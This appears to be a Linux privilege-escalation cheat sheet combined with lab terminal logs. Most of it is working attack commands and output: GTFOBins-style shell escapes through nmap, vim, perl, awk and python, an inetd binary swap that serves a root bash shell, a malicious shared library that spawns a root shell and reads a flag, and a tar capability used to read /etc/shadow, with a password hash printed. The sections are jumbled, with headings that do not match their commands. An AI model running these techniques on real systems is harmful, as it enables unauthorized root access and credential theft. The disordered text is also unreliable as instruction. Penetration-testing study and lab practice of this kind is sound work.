Manual privilege escalation techniques to look for
Information gathering
The first step when landing on host should be understanding who your against to - what OS, what process are running, what users exists and more, this can be done by looking at the following files (remember - in Linux everything is a file):
Distribution type:
cat /etc/*-release
Kernel version:
cat /proc/version uname -a
view if you can run anything as sudo: (check for GTFObins)
cat /etc/inetd.conf Look for write permissions on any of the executables listed in this config file. If you have write permissions replace the executable i.e. cp /bin/bash /usr/sbin/in.rshd
inetd will now serve the /bin/bash shell running with root privileges when we connect to the rshd default port 514:
find / -perm -g=s -o -perm -u=s -type f 2>/dev/null
Find a executable which looks suspicious and shouldn't be there:
Trying to run the file:
james@attackdefense:~/.lib$ /usr/local/bin/welcome/usr/local/bin/welcome: symbol lookup error: /usr/local/bin/welcome: undefined symbol: greetings
Check what shared libraries are used:
We will use LD_PRELOAD - LD_PRELOAD is an optional environmental variable containing one or more paths to shared libraries, or shared objects, that the loader will load before any other shared library including the C runtime library (libc.so) This is called preloading a library.
First we will need to create a malicious file instead of the missing library
Capabilities are a little obscure but similar in principle to SUID. Linux’s thread/process privilege checking is based on capabilities: flags to the thread that indicate what kind of additional privileges they’re allowed to use. By default, root has all of them.
Capabilities are useful when you want to restrict your own processes after performing privileged operations (e.g. after setting up chroot and binding to a socket). However, they can be exploited by passing them malicious commands or arguments which are then run as root.
*Used with GTFOBins
Find out what capabilities are Enabled
[user@box ~]$ getcap -r / 2>/dev/null
You will get output like the following…
CAP_DAC_READ_SEARCH
For example if we found
/home/nxnjz/tar = cap_dac_read_search+ep
tar has cap_dac_read_search capabilities. This means it has read access to anything. We could use this to read SSH keys, or /etc/shadow and get password hashes.
But since tar has that capability, we can archive /etc/shadow, extract it from the archive and read it.
ls -alhR /var/www/
ls -alhR /srv/www/htdocs/
ls -alhR /usr/local/www/apache22/data/
ls -alhR /opt/lampp/htdocs/
ls -alhR /var/www/html/
Nmap
nmap --interactive
nmap> !sh
Vim #1
vim -c ':!/bin/sh'
Vim #2
:set shell=/bin/sh
:shell
Perl
exec "/bin/sh";
perl -e 'exec "/bin/sh";'
Ruby
Ruby -e 'exec "/bin/sh"'
ftp
ftp > !/bin/sh or !/bin/bash
gdb
gdb > !/bin/sh or !/bin/bash
Awk
awk 'BEGIN {system("/bin/bash")}'
Python
python -c 'import os; os.system("/bin/sh")'
root@DESKTOP99:/opt/GTFOBLookup# python3 gtfoblookup.py linux shell nmap
nmap:
shell:
gtfoblookup.py:335: YAMLLoadWarning: calling yaml.load_all() without Loader=... is deprecated, as the default Loader is unsafe. Please read https://msg.pyyaml.org/load for full details.
for data in md:
Description: Input echo is disabled.
Code: TF=$(mktemp)
echo 'os.execute("/bin/sh")' > $TF
nmap --script=$TF
Description: The interactive mode, available on versions 2.02 to
5.21, can be used to execute shell commands.
Code: nmap --interactive
nmap> !sh
james@attackdefense:~$ ldd /usr/local/bin/welcome
linux-vdso.so.1 (0x00007ffda84ad000)
libgreetings.so => not found
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ff13ab2b000)
/lib64/ld-linux-x86-64.so.2 (0x00007ff13b11e000)
lib.c:6:2: warning: implicit declaration of function 'setresuid'; did you mean 'setreuid'? [-Wimplicit-function-declaration]
setresuid(0, 0, 0);
^~~~~~~~~
setreuid
lib.c:7:2: warning: implicit declaration of function 'system' [-Wimplicit-function-declaration]
system("/bin/bash");
^~~~~~
james@attackdefense:~/.lib$ ls -l
total 12
-rw-r--r-- 1 james james 130 Oct 30 14:51 lib.c
-rwxr-xr-x 1 james james 7960 Oct 30 14:54 libgreetings.so
james@attackdefense:~/.lib$ /usr/local/bin/welcome
Enter your name
id
root@attackdefense:~/.lib# ls
lib.c libgreetings.so
root@attackdefense:~/.lib# cd /home/root
bash: cd: /home/root: No such file or directory
root@attackdefense:~/.lib# cd /root/
root@attackdefense:/root# ls
flag
root@attackdefense:/root# cat flag
521d81adc77627782df4bc545ec604de
root@attackdefense:/root#
nxnjz@test-machine:~$ ls
tar
nxnjz@test-machine:~$ ./tar -cvf shadow.tar /etc/shadow
./tar: Removing leading `/’ from member names
/etc/shadow
nxnjz@test-machine:~$ ls
shadow.tar tar
nxnjz@test-machine:~$ ./tar -xvf shadow.tar
etc/shadow
nxnjz@test-machine:~$ ls
etc shadow.tar tar
nxnjz@test-machine:~$ cat etc/shadow
root:$1$xyz$Bf.3hZ4SmETM3A78n1nWr.:17735:0:99999:7:::